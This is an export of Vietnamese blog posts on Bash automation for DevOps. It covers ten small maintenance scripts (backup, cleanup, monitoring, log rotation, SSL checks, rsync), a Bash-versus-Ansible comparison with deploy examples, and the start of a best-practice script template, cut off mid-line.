[{"categories":["DevOps","Bash"],"content":"Vì sao nên sưu tầm script nhỏ? Trong series Bash, chúng ta đã học từ biến, điều kiện, vòng lặp đến error handling, cron và best practice. Nhưng giá trị thực sự của Bash nằm ở những script nhỏ chạy mỗi ngày: backup đêm, dọn disk đầy, restart service crash lúc 2 giờ sáng.\nBài viết này tổng hợp 10 script gọn nhẹ, đúng chất DevOps. Mỗi script dưới 30 dòng, tuân thủ set -euo pipefail, quote biến đầy đủ, và có thể gắn vào cron ngay. Đây là sườn ý tưởng tham khảo từ cộng đồng, được viết lại hoàn toàn theo chuẩn của series.\nSao lưu thư mục theo ngày Nhu cầu cơ bản nhất: sao lưu thư mục config hoặc data mỗi đêm.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #!/usr/bin/env bash set -euo pipefail SOURCE_DIR=\u0026#34;${1:-/etc/myapp}\u0026#34; BACKUP_ROOT=\u0026#34;${2:-/var/backups/myapp}\u0026#34; KEEP_DAYS=\u0026#34;${KEEP_DAYS:-7}\u0026#34; DATE_TAG=\u0026#34;$(date +%Y-%m-%d)\u0026#34; DEST_DIR=\u0026#34;${BACKUP_ROOT}/${DATE_TAG}\u0026#34; mkdir -p \u0026#34;$DEST_DIR\u0026#34; tar -czf \u0026#34;${DEST_DIR}/backup.tar.gz\u0026#34; -C \u0026#34;$(dirname \u0026#34;$SOURCE_DIR\u0026#34;)\u0026#34; \u0026#34;$(basename \u0026#34;$SOURCE_DIR\u0026#34;)\u0026#34; echo \u0026#34;Backup completed: ${DEST_DIR}/backup.tar.gz\u0026#34; # Xóa bản backup cũ hơn KEEP_DAYS ngày find \u0026#34;$BACKUP_ROOT\u0026#34; -maxdepth 1 -type d -mtime \u0026#34;+${KEEP_DAYS}\u0026#34; -exec rm -rf {} + Giải thích:\ntar -czf nén toàn bộ thư mục thành một file duy nhất, dễ copy đi nơi khác. -C kết hợp dirname / basename để tránh lưu absolute path trong archive. find -mtime tự dọn backup cũ, tránh đầy disk — lỗi kinh điển khi chỉ backup mà quên dọn. Nhận SOURCE_DIR qua tham số thay vì hardcode, tái sử dụng cho nhiều app. Dọn file tạm và cache cũ Thư mục /tmp và thư mục cache phình to là nguyên nhân phổ biến gây đầy disk.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #!/usr/bin/env bash set -euo pipefail TARGET_DIR=\u0026#34;${1:-/tmp}\u0026#34; OLDER_THAN_DAYS=\u0026#34;${2:-7}\u0026#34; if [[ ! -d \u0026#34;$TARGET_DIR\u0026#34; ]]; then echo \u0026#34;ERROR: directory not found: $TARGET_DIR\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi echo \u0026#34;Cleaning files older than ${OLDER_THAN_DAYS} days in ${TARGET_DIR}...\u0026#34; find \u0026#34;$TARGET_DIR\u0026#34; -type f -mtime \u0026#34;+${OLDER_THAN_DAYS}\u0026#34; -print -delete echo \u0026#34;Cleanup done.\u0026#34; du -sh \u0026#34;$TARGET_DIR\u0026#34; Giải thích:\nfind -mtime +7 -delete chỉ xóa file cũ, không đụng đến file đang dùng. -print trước -delete để có log những gì đã xóa, tiện audit. Kiểm tra -d trước khi xóa để tránh typo xóa nhầm thư mục. Chạy khô trước với -print thay vì -delete khi thử nghiệm trên production. Giám sát dung lượng disk Phiên bản gọn của script monitoring trong bài monitoring: kiểm tra và cảnh báo khi vượt ngưỡng.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/usr/bin/env bash set -euo pipefail THRESHOLD=\u0026#34;${1:-80}\u0026#34; MOUNT_POINT=\u0026#34;${2:-/}\u0026#34; USAGE=$(df --output=pcent \u0026#34;$MOUNT_POINT\u0026#34; | tail -1 | tr -dc \u0026#39;0-9\u0026#39;) if (( USAGE \u0026gt; THRESHOLD )); then echo \u0026#34;WARNING: disk usage on ${MOUNT_POINT} is ${USAGE}% (threshold: ${THRESHOLD}%)\u0026#34; \u0026gt;\u0026amp;2 exit 1 else echo \u0026#34;OK: disk usage on ${MOUNT_POINT} is ${USAGE}%\u0026#34; fi Giải thích:\ndf --output=pcent lấy đúng cột phần trăm, ổn định hơn parse df mặc định. tr -dc '0-9' bóc số khỏi chuỗi 82%. Exit code 1 khi vượt ngưỡng để cron hoặc pipeline phát hiện lỗi. Gắn vào cron mỗi 30 phút, hoặc gọi webhook khi exit code khác 0. Tự động restart service khi crash Kịch bản on-call kinh điển: service dừng mà không ai biết.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #!/usr/bin/env bash set -euo pipefail SERVICE=\u0026#34;${1:-myapp.service}\u0026#34; if systemctl is-active --quiet \u0026#34;$SERVICE\u0026#34;; then echo \u0026#34;OK: ${SERVICE} is running.\u0026#34; else echo \u0026#34;ALERT: ${SERVICE} is down. Restarting...\u0026#34; sudo systemctl restart \u0026#34;$SERVICE\u0026#34; sleep 5 if systemctl is-active --quiet \u0026#34;$SERVICE\u0026#34;; then echo \u0026#34;RECOVERED: ${SERVICE} restarted successfully.\u0026#34; else echo \u0026#34;FAILED: ${SERVICE} still down after restart.\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi fi Giải thích:\nsystemctl is-active --quiet kiểm tra trạng thái bằng exit code, không cần parse text. Restart xong phải verify lại sau vài giây, tránh báo cáo sai là đã phục hồi. Đặt trong cron mỗi 5 phút cho service quan trọng, kết hợp log vào file để truy vết. Với nhiều server, bọc vòng lặp SSH như trong bài SSH. Đổi tên file hàng loạt Khi deploy hoặc xoay log, ta thường cần đổi tên hàng loạt file theo pattern.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #!/usr/bin/env bash set -euo pipefail TARGET_DIR=\u0026#34;${1:-.}\u0026#34; PATTERN=\u0026#34;${2:-*.log}\u0026#34; SUFFIX=\u0026#34;$(date +%Y%m%d)\u0026#34; shopt -s nullglob files=( \u0026#34;$TARGET_DIR\u0026#34;/$PATTERN ) if (( ${#files[@]} == 0 )); then echo \u0026#34;No files matched: ${TARGET_DIR}/${PATTERN}\u0026#34; exit 0 fi for file in \u0026#34;${files[@]}\u0026#34;; do mv -- \u0026#34;$file\u0026#34; \u0026#34;${file}.${SUFFIX}\u0026#34; echo \u0026#34;Renamed: $file -\u0026gt; ${file}.${SUFFIX}\u0026#34; done Giải thích:\nnullglob để glob không khớp thì trả về rỗng thay vì chuỗi pattern thô. \u0026quot;${files[@]}\u0026quot; quote đúng cách để xử lý tên file có khoảng trắng. mv -- tránh nhầm tên file bắt đầu bằng - thành option. Hậu tố ngày giúp sắp xếp và tìm kiếm dễ dàng. Xoay log thủ công Trước khi dùng logrotate hệ thống, hiểu cơ chế xoay log bằng Bash giúp debug dễ hơn.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #!/usr/bin/env bash set -euo pipefail LOG_FILE=\u0026#34;${1:-/var/log/myapp/app.log}\u0026#34; MAX_SIZE_MB=\u0026#34;${2:-100}\u0026#34; KEEP_FILES=\u0026#34;${3:-5}\u0026#34; if [[ ! -f \u0026#34;$LOG_FILE\u0026#34; ]]; then echo \u0026#34;Log file not found: $LOG_FILE\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi size_mb=$(du -m \u0026#34;$LOG_FILE\u0026#34; | cut -f1) if (( size_mb \u0026lt; MAX_SIZE_MB )); then echo \u0026#34;OK: ${LOG_FILE} is ${size_mb}MB, no rotation needed.\u0026#34; exit 0 fi # Xoay: app.log.4 -\u0026gt; app.log.5, ..., app.log -\u0026gt; app.log.1 for (( i=KEEP_FILES-1; i\u0026gt;=1; i-- )); do if [[ -f \u0026#34;${LOG_FILE}.${i}\u0026#34; ]]; then mv -- \u0026#34;${LOG_FILE}.${i}\u0026#34; \u0026#34;${LOG_FILE}.$((i+1))\u0026#34; fi done mv -- \u0026#34;$LOG_FILE\u0026#34; \u0026#34;${LOG_FILE}.1\u0026#34; touch \u0026#34;$LOG_FILE\u0026#34; echo \u0026#34;Rotated: ${LOG_FILE} (${size_mb}MB)\u0026#34; Giải thích:\ndu -m lấy kích thước theo MB để so sánh ngưỡng. Vòng lặp ngược giữ tối đa KEEP_FILES bản, bản cũ nhất tự bị ghi đè. touch tạo file log mới ngay để app không ghi vào file đã di chuyển. Với app ghi log liên tục, nên gửi signal reload cho app sau khi xoay. Nén archive cho log cũ Sau khi xoay log, nén các bản cũ để tiết kiệm disk.\n1 2 3 4 5 6 7 8 9 10 11 12 13 #!/usr/bin/env bash set -euo pipefail LOG_DIR=\u0026#34;${1:-/var/log/myapp}\u0026#34; OLDER_THAN_DAYS=\u0026#34;${2:-7}\u0026#34; find \u0026#34;$LOG_DIR\u0026#34; -type f -name \u0026#34;*.log.*\u0026#34; -mtime \u0026#34;+${OLDER_THAN_DAYS}\u0026#34; ! -name \u0026#34;*.gz\u0026#34; -print0 | while IFS= read -r -d \u0026#39;\u0026#39; logfile; do gzip -9 \u0026#34;$logfile\u0026#34; echo \u0026#34;Compressed: ${logfile}.gz\u0026#34; done du -sh \u0026#34;$LOG_DIR\u0026#34; Giải thích:\n! -name \u0026quot;*.gz\u0026quot; tránh nén lại file đã nén. -print0 kết hợp read -d '' xử lý an toàn tên file có khoảng trắng hoặc ký tự đặc biệt. gzip -9 mức nén cao nhất, phù hợp cho log text. Chạy weekly qua cron, sau bước xoay log. Kiểm tra hạn chứng chỉ SSL Chứng chỉ hết hạn mà quên renew là sự cố dễ tránh nhất.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #!/usr/bin/env bash set -euo pipefail DOMAIN=\u0026#34;${1:-\u0026lt;your-domain\u0026gt;}\u0026#34; WARN_DAYS=\u0026#34;${2:-14}\u0026#34; expiry=$(echo | openssl s_client -servername \u0026#34;$DOMAIN\u0026#34; -connect \u0026#34;${DOMAIN}:443\u0026#34; 2\u0026gt;/dev/null \\ | openssl x509 -noout -enddate | cut -d= -f2) expiry_epoch=$(date -d \u0026#34;$expiry\u0026#34; +%s) now_epoch=$(date +%s) days_left=$(( (expiry_epoch - now_epoch) / 86400 )) if (( days_left \u0026lt; 0 )); then echo \u0026#34;CRITICAL: certificate for ${DOMAIN} already expired!\u0026#34; \u0026gt;\u0026amp;2 exit 2 elif (( days_left \u0026lt;= WARN_DAYS )); then echo \u0026#34;WARNING: certificate for ${DOMAIN} expires in ${days_left} days (${expiry}).\u0026#34; \u0026gt;\u0026amp;2 exit 1 else echo \u0026#34;OK: certificate for ${DOMAIN} valid for ${days_left} more days.\u0026#34; fi Giải thích:\nopenssl s_client -connect lấy chain chứng chỉ thật từ server đang chạy. -servername (SNI) bắt buộc khi một IP phục vụ nhiều domain. Đổi ngày hết hạn sang epoch để tính số ngày còn lại chính xác. Exit code phân biệt WARNING và CRITICAL để hệ thống cảnh báo routing đúng kênh. Ping kiểm tra hàng loạt host Khi quản lý nhiều server, cần kiểm tra nhanh host nào còn sống.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #!/usr/bin/env bash set -euo pipefail HOSTS_FILE=\u0026#34;${1:-hosts.txt}\u0026#34; if [[ ! -f \u0026#34;$HOSTS_FILE\u0026#34; ]]; then echo \u0026#34;ERROR: hosts file not found: $HOSTS_FILE\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi while IFS= read -r host || [[ -n \u0026#34;$host\u0026#34; ]]; do # Bỏ dòng trống và comment [[ -z \u0026#34;$host\u0026#34; || \u0026#34;$host\u0026#34; =~ ^# ]] \u0026amp;\u0026amp; continue if ping -c 2 -W 2 \u0026#34;$host\u0026#34; \u0026amp;\u0026gt;/dev/null; then echo \u0026#34;UP: $host\u0026#34; else echo \u0026#34;DOWN: $host\u0026#34; \u0026gt;\u0026amp;2 fi done \u0026lt; \u0026#34;$HOSTS_FILE\u0026#34; File hosts.txt mẫu:\n1 2 3 4 # Danh sách server của team webserver-01 webserver-02 db-primary Giải thích:\nping -c 2 -W 2 gửi 2 gói, timeout 2 giây mỗi gói — đủ nhanh cho hàng chục host. Đọc file theo dòng với while read, bỏ qua comment # để document trực tiếp trong file. || [[ -n \u0026quot;$host\u0026quot; ]] xử lý dòng cuối thiếu newline. Nâng cấp tiếp theo: chạy song song với \u0026amp; và wait như trong bài parallel. Đồng bộ thư mục với rsync Sao chép thư mục giữa hai máy hoặc backup tăng dần (incremental) nhanh hơn cp nhiều.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #!/usr/bin/env bash set -euo pipefail SOURCE_DIR=\u0026#34;${1:-/srv/data/}\u0026#34; DEST=\u0026#34;${2:-backup-host:/srv/backup/data/}\u0026#34; LOG_FILE=\u0026#34;${LOG_FILE:-/var/log/sync-data.log}\u0026#34; if [[ ! -d \u0026#34;${SOURCE_DIR%/}\u0026#34; \u0026amp;\u0026amp; ! -e \u0026#34;$SOURCE_DIR\u0026#34; ]]; then echo \u0026#34;ERROR: source not found: $SOURCE_DIR\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi rsync -avz --delete \\ --exclude=\u0026#39;.cache/\u0026#39; \\ --exclude=\u0026#39;*.tmp\u0026#39; \\ \u0026#34;$SOURCE_DIR\u0026#34; \u0026#34;$DEST\u0026#34; 2\u0026gt;\u0026amp;1 | tee -a \u0026#34;$LOG_FILE\u0026#34; echo \u0026#34;Sync completed at $(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;)\u0026#34; | tee -a \u0026#34;$LOG_FILE\u0026#34; Giải thích:\n-a giữ permission, owner, timestamp; -z nén trên đường truyền; -v log chi tiết. --delete đồng bộ xóa — file đã xóa ở nguồn cũng xóa ở đích, giữ hai bên giống hệt nhau. --exclude bỏ qua cache và file tạm, giảm dung lượng đáng kể. Dấu / cuối SOURCE_DIR rất quan trọng trong rsync: có / là copy nội dung, không có là copy cả thư mục. Cách chạy và lên lịch Cấp quyền và chạy thử 1 2 3 4 5 6 7 8 9 chmod +x backup.sh cleanup.sh ./backup.sh /etc/myapp /var/backups/myapp # Chạy debug khi có lỗi bash -x backup.sh /etc/myapp /var/backups/myapp # Kiểm tra cú pháp trước khi đưa lên server bash -n *.sh shellcheck *.sh Gắn vào cron 1 2 3 4 5 6 7 8 9 10 11 # Mở crontab crontab -e # Backup mỗi đêm lúc 2h sáng 0 2 * * * /opt/scripts/backup.sh /etc/myapp /var/backups/myapp \u0026gt;\u0026gt; /var/log/backup.log 2\u0026gt;\u0026amp;1 # Kiểm tra service mỗi 5 phút */5 * * * * /opt/scripts/restart-service.sh myapp.service \u0026gt;\u0026gt; /var/log/service-check.log 2\u0026gt;\u0026amp;1 # Kiểm tra SSL mỗi sáng 0 8 * * * /opt/scripts/check-ssl.sh example.com 14 \u0026gt;\u0026gt; /var/log/ssl-check.log 2\u0026gt;\u0026amp;1 Lưu ý về cron đã phân tích kỹ trong bài cron: luôn dùng absolute path, khai báo PATH và biến môi trường đầy đủ, redirect cả stdout và stderr ra log.\nGhi chú triển khai Đừng hardcode secret: Mọi script trên đều nhận tham số hoặc biến môi trường. Không nhúng password, token, webhook URL vào file. Dùng file .env với chmod 600 và source khi cần. Luôn quote biến: \u0026quot;$SOURCE_DIR\u0026quot;, \u0026quot;${files[@]}\u0026quot; — quy tắc từ bài best practice. Script nhỏ càng dễ chủ quan, càng dễ dính lỗi word splitting khi gặp tên file có dấu cách. Fail nhanh, báo rõ: Dùng set -euo pipefail, validate input đầu script, trả exit code có nghĩa để cron và pipeline phát hiện lỗi. Script chạy xong lặng lẽ không có nghĩa là chạy đúng. Chạy khô trước trên production: Với script xóa (cleanup, find -delete) và đồng bộ (rsync --delete), lần đầu chạy với -print hoặc --dry-run, xác nhận danh sách file rồi mới cho xóa thật. Một script một việc: Mỗi file trên chỉ làm một task. Khi cần chuỗi nhiều bước, viết script điều phối gọi từng script con, thay vì nhồi tất cả vào một file dài khó test. Lint trước khi commit: Chạy shellcheck và bash -n cho cả 10 script. Đưa vào pre-commit hoặc CI để team giữ chuẩn thống nhất. Lời kết Mười script trên không có gì cao siêu — backup, dọn tmp, check disk, restart service, rename, xoay log, nén archive, check SSL, ping host, sync folder. Nhưng cộng lại, chúng tiết kiệm hàng giờ làm việc thủ công mỗi tuần và giảm trực tiếp sự cố trực đêm.\nHãy bắt đầu bằng một script duy nhất: chọn nỗi đau lớn nhất của team hiện tại, deploy script đó qua cron, quan sát một tuần, rồi mới thêm script tiếp theo. Khi các script nhỏ đã ổn định, bạn sẽ có nền tảng vững chắc để tiến tới Bash trong CI/CD và monitoring tập trung.\nĐừng để automation nằm trên giấy — hãy chạy script đầu tiên ngay hôm nay.\n","date":"15/09/2026","image":"https://tech.nguuyen.io.vn/images/bash/10-handy-bash-scripts.webp","permalink":"/vi/posts/bash/10-handy-bash-scripts/","summary":"Tuyển tập 10 Bash script nhỏ mà hữu ích cho DevOps: backup, dọn tmp, giám sát disk, restart service, batch rename, xoay log, nén archive, kiểm tra SSL, ping hàng loạt và đồng bộ thư mục.","tags":["bash","shell-script","devops","automation","backup","monitoring","cron"],"title":"10 Bash Script Đơn Giản Để Tự Động Hóa Quy Trình DevOps"},{"categories":["DevOps","Bash"],"content":"Bash vs Ansible — Khi nào nên chọn cái nào? Trong series Bash, chúng ta đã thấy Bash cực kỳ mạnh mẽ cho automation. Nhưng trong DevOps, Ansible cũng là một lựa chọn phổ biến cho infrastructure automation. Vậy khi nào nên dùng Bash, khi nào nên dùng Ansible?\nĐây không phải là câu hỏi \u0026ldquo;cái nào tốt hơn\u0026rdquo; mà là \u0026ldquo;cái nào phù hợp hơn\u0026rdquo; cho tình huống cụ thể. Bài viết này sẽ so sánh khách quan, kèm code mẫu thực tế, để bạn đưa ra lựa chọn đúng đắn.\nSo sánh tổng quan Tiêu chí Bash Ansible Learning curve Thấp — ai cũng biết Trung bình — cần học YAML, modules Đọc hiểu Rất dễ — plain text Dễ — YAML rõ ràng Idempotent Không — cần viết thủ công Có — built-in Tái sử dụng Trung bình — source/function Cao — roles, modules Inventory Manual — file hoặc array Built-in — dynamic inventory Testing Khó — cần mock Dễ — molecule Debug Dễ — bash -x Trung bình — verbose mode Dependency Không có Cần Python, SSH Remote execution SSH thủ công Built-in Khi nào phù hợp Quick scripts, small tasks Complex infrastructure, multi-server Khi nào nên dùng Bash? Bash phù hợp khi: Script đơn giản, chạy locally — backup, cleanup, health check Debug nhanh — bash -x giúp see từng dòng thực thi Không cần dependency — Bash có sẵn trên mọi Linux server Team nhỏ, cần sự linh hoạt — không muốn setup Ansible infrastructure On-call situation — cần fix nhanh, không có thời gian học playbook Code mẫu: Deploy với Bash 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 #!/usr/bin/env bash # ============================================================================== # deploy.sh — Deploy application via Bash # ============================================================================== set -euo pipefail readonly APP_NAME=\u0026#34;myapp\u0026#34; readonly DEPLOY_DIR=\u0026#34;/opt/${APP_NAME}\u0026#34; readonly SERVICE_NAME=\u0026#34;${APP_NAME}.service\u0026#34; readonly SERVERS=(\u0026#34;web-01\u0026#34; \u0026#34;web-02\u0026#34; \u0026#34;web-03\u0026#34;) readonly SSH_KEY=\u0026#34;${HOME}/.ssh/deploy_key\u0026#34; log() { echo \u0026#34;[$(date \u0026#39;+%H:%M:%S\u0026#39;)] $1\u0026#34;; } deploy_server() { local server=\u0026#34;$1\u0026#34; log \u0026#34;Deploying to ${server}...\u0026#34; # Pull code ssh -i \u0026#34;$SSH_KEY\u0026#34; \u0026#34;deploy@${server}\u0026#34; \\ \u0026#34;cd ${DEPLOY_DIR} \u0026amp;\u0026amp; git pull origin main\u0026#34; # Restart service ssh -i \u0026#34;$SSH_KEY\u0026#34; \u0026#34;deploy@${server}\u0026#34; \\ \u0026#34;sudo systemctl restart ${SERVICE_NAME}\u0026#34; # Health check local status status=$(ssh -i \u0026#34;$SSH_KEY\u0026#34; \u0026#34;deploy@${server}\u0026#34; \\ \u0026#34;curl -s -o /dev/null -w \u0026#39;%{http_code}\u0026#39; http://localhost:8080/health\u0026#34;) if [[ \u0026#34;$status\u0026#34; == \u0026#34;200\u0026#34; ]]; then log \u0026#34;${server}: OK\u0026#34; else log \u0026#34;${server}: FAILED (status: ${status})\u0026#34; return 1 fi } # Deploy parallel (max 3) for server in \u0026#34;${SERVERS[@]}\u0026#34;; do deploy_server \u0026#34;$server\u0026#34; \u0026amp; # Limit concurrent deployments while (( $(jobs -r | wc -l) \u0026gt;= 3 )); do sleep 0.5 done done wait log \u0026#34;Deployment completed\u0026#34; Khi nào nên dùng Ansible? Ansible phù hợp khi: Infrastructure phức tạp — nhiều servers, nhiều roles Cần idempotent — chạy lại mà không sợ thay đổi unintended Team lớn, cần convention — YAML rõ ràng, dễ review Cần audit trail — Ansible log từng task Multi-environment — dev, staging, production với inventory riêng Code mẫu: Deploy với Ansible 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 # deploy.yml --- - name: Deploy application hosts: webservers become: yes vars: app_name: myapp deploy_dir: /opt/myapp service_name: myapp.service tasks: - name: Pull latest code git: repo: \u0026#34;https://github.com/org/myapp.git\u0026#34; dest: \u0026#34;{{ deploy_dir }}\u0026#34; version: main notify: Restart service - name: Ensure service is running systemd: name: \u0026#34;{{ service_name }}\u0026#34; state: started enabled: yes - name: Wait for health check uri: url: \u0026#34;http://localhost:8080/health\u0026#34; status_code: 200 retries: 10 delay: 5 handlers: - name: Restart service systemd: name: \u0026#34;{{ service_name }}\u0026#34; state: restarted 1 2 3 4 5 6 7 8 # Chạy playbook ansible-playbook -i inventory/hosts deploy.yml # Dry run (check mode) ansible-playbook -i inventory/hosts deploy.yml --check # Limit to specific server ansible-playbook -i inventory/hosts deploy.yml --limit web-01 So sánh cùng một task Task: Restart service nếu config thay đổi Bash:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #!/usr/bin/env bash # Kiểm tra file thay đổi và restart service CONFIG_FILE=\u0026#34;/etc/myapp/config.yml\u0026#34; BACKUP_FILE=\u0026#34;/tmp/config_backup\u0026#34; current_hash=$(md5sum \u0026#34;$CONFIG_FILE\u0026#34; | awk \u0026#39;{print $1}\u0026#39;) if [[ -f \u0026#34;$BACKUP_FILE\u0026#34; ]]; then old_hash=$(cat \u0026#34;$BACKUP_FILE\u0026#34;) else old_hash=\u0026#34;\u0026#34; fi if [[ \u0026#34;$current_hash\u0026#34; != \u0026#34;$old_hash\u0026#34; ]]; then echo \u0026#34;Config changed, restarting service...\u0026#34; sudo systemctl restart myapp.service echo \u0026#34;$current_hash\u0026#34; \u0026gt; \u0026#34;$BACKUP_FILE\u0026#34; else echo \u0026#34;Config unchanged, skipping restart\u0026#34; fi Ansible:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 --- - name: Restart service if config changed hosts: webservers tasks: - name: Copy config file copy: src: files/config.yml dest: /etc/myapp/config.yml register: config_result - name: Restart service systemd: name: myapp.service state: restarted when: config_result.changed Phân tích Bash Ansible Dòng code ~15 dòng ~12 dòng Đọc hiểu Rất dễ Dễ Idempotent Không — cần hash tracking Có — register + when Remote Cần SSH loop Built-in Team maturity là yếu tố quyết định Ansible cần discipline Ansible mạnh nhưng đòi hỏi:\nConvention rõ ràng — đặt tên task, variable thống nhất Code review nghiêm túc — YAML dễ viết nhưng dễ loạn Testing — dùng molecule hoặc Terratest Documentation — mỗi role phải có README Nếu team không có những thứ này, playbook sẽ biến thành \u0026ldquo;YAML spaghetti\u0026rdquo; — khó debug hơn cả Bash.\nBash phù hợp với team linh hoạt Bash phù hợp khi:\nTeam nhỏ (\u0026lt; 5 người) — không cần quy trình phức tạp Cần fix nhanh — on-call situation Scripts ngắn — dưới 200 dòng Không muốn dependency — chỉ cần Bash và SSH Kết hợp cả hai Trong thực tế, nhiều team dùng cả hai:\nTask Dùng gì Quick fix, on-call Bash Deploy đơn giản Bash Infrastructure provisioning Ansible Configuration management Ansible Cron job đơn giản Bash Multi-server orchestration Ansible Ví dụ:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 # Bash script gọi Ansible playbook #!/usr/bin/env bash set -euo pipefail echo \u0026#34;Running infrastructure setup...\u0026#34; ansible-playbook -i inventory/prod setup.yml echo \u0026#34;Deploying application...\u0026#34; ansible-playbook -i inventory/prod deploy.yml echo \u0026#34;Running post-deploy checks...\u0026#34; ansible-playbook -i inventory/prod health-check.yml echo \u0026#34;All done!\u0026#34; Ghi chú triển khai Đừng thần thánh hóa công cụ: Cả Bash và Ansible đều là tools. Chọn tool phù hợp với task, không phải \u0026ldquo;trend\u0026rdquo;. Team review: Dù dùng Bash hay Ansible, code review đều quan trọng. Bash cần check cho security, Ansible cần check cho idempotency. Documentation: Bash scripts nên có --help và comment. Ansible roles nên có README và variable docs. Testing: Bash khó test hơn, nhưng vẫn nên test critical scripts. Ansible có molecule cho testing. Progressive adoption: Bắt đầu với Bash khi team nhỏ. Khi team lớn hơn và cần structure, migrate dần sang Ansible. Lời kết Bash và Ansible không phải là đối thủ mà là complementary tools. Bash tuyệt vời cho quick scripts, debugging, và situations cần sự linh hoạt. Ansible tuyệt vời cho complex infrastructure, multi-server management, và teams cần convention.\nChọn công cụ phù hợp với task và maturity level của team. Đừng dùng Ansible cho task 5 dòng Bash có thể xử lý, và đừng dùng Bash cho infrastructure phức tạp cần idempotent.\nĐiều quan trọng nhất là hiểu strengths và weaknesses của mỗi tool để đưa ra quyết định đúng đắn trong DevOps workflow.\n","date":"12/09/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-vs-ansible.webp","permalink":"/vi/posts/bash/bash-vs-ansible/","summary":"So sánh Bash và Ansible trong DevOps: khi nào nên dùng Bash script, khi nào nên dùng Ansible? Code mẫu deploy + restart service trên cả hai.","tags":["bash","ansible","comparison","devops","automation","infrastructure-as-code"],"title":"Đôi khi Bash script tốt hơn Ansible"},{"categories":["DevOps","Bash"],"content":"Best Practice tổng hợp trong Bash Sau 19 bài trong series, chúng ta đã đi qua từ cơ bản đến nâng cao — từ variables, loops, functions, đến security, cloud CLI. Bài viết này sẽ tổng hợp tất cả best practice để bạn viết Bash scripts chuyên nghiệp, dễ bảo trì, và an toàn trong DevOps.\nTại sao cần best practice? Script Bash chạy tự động trên server, trong pipeline, và đôi khi do nhiều người maintain. Nếu không có quy tắc, scripts sẽ trở thành \u0026ldquo;spaghetti code\u0026rdquo; — khó debug, dễ lỗi, và tiềm ẩn lỗ hổng bảo mật.\nScript template chuẩn Mọi script mới nên bắt đầu với template này:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 #!/usr/bin/env bash # ============================================================================== # Script : \u0026lt;tên script\u0026gt; # Mục đích: \u0026lt;mô tả ngắn gọn\u0026gt; # Usage: \u0026lt;script.sh\u0026gt; [options] \u0026lt;args\u0026gt; # ============================================================================== set -euo pipefail # ===== CONSTANTS ===== readonly SCRIPT_NAME=\u0026#34;$(basename \u0026#34;$0\u0026#34;)\u0026#34; readonly SCRIPT_DIR=\u0026#34;$(cd \u0026#34;$(dirname \u0026#34;$0\u0026#34;)\u0026#34; \u0026amp;\u0026amp; pwd)\u0026#34; readonly TIMESTAMP=\u0026#34;$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;)\u0026#34; # ===== CONFIGURATION ===== readonly LOG_FILE=\u0026#34;${LOG_FILE:-/var/log/${SCRIPT_NAME}.log}\u0026#34; readonly SLACK_WEBHOOK=\u0026#34;${SLACK_WEBHOOK:-}\u0026#34; # ===== FUNCTIONS ===== log() { local level=\u0026#34;$1\u0026#34; local message=\u0026#34;$2\u0026#34; echo \u0026#34;[$TIMESTAMP] [$level] $message\u0026#34; | tee -a \u0026#34;$LOG_FILE\u0026#34; } usage() { cat \u0026lt;\u0026lt; EOF Usage: $SCRIPT_NAME \u0026lt;option\u0026gt; \u0026lt;argument\u0026gt; Options: -h, --help Show this help message -v, --verbose Enable verbose output Examples: $SCRIPT_NAME --verbose server01 EOF exit \u0026#34;${1:-0}\u0026#34; } cleanup() { local exit_code=$? if [[ $exit_code -ne 0 ]]; then log \u0026#34;ERROR\u0026#34; \u0026#34;Script failed with exit code $exit_code\u0026#34; fi # Cleanup code here return $exit_code } # ===== MAIN ===== main() { # Parse arguments while [[ $# -gt 0 ]]; do case \u0026#34;$1\u0026#34; in -h|--help) usage 0 ;; -v|--verbose) VERBOSE=true; shift ;; *) break ;; esac done # Validate required arguments if [[ $# -lt 1 ]]; then log \u0026#34;ERROR\u0026#34; \u0026#34;Missing required argument\u0026#34; usage 1 fi log \u0026#34;INFO\u0026#34; \u0026#34;Script started\u0026#34; # Main logic here log \u0026#34;INFO\u0026#34; \u0026#34;Script completed\u0026#34; } # ===== ENTRY POINT ===== trap cleanup EXIT main \u0026#34;$@\u0026#34; Tại sao template này? Component Lý do #!/usr/bin/env bash Portable, tìm bash trong PATH set -euo pipefail Exit on error, undefined vars, pipe failures readonly Tránh thay đổi constants function log() Logging chuẩn, dễ debug usage() Document script usage cleanup() Trap EXIT để cleanup main() Entry point rõ ràng Shebang đúng cách 1 2 3 4 5 6 7 8 9 10 11 12 # KHÔNG dùng #!/bin/bash # Có thể không đúng path # NÊN dùng #!/usr/bin/env bash # Portable, hoạt động trên mọi hệ thống # Nếu script cần root #!/usr/bin/env bash if [[ $EUID -ne 0 ]]; then echo \u0026#34;This script must be run as 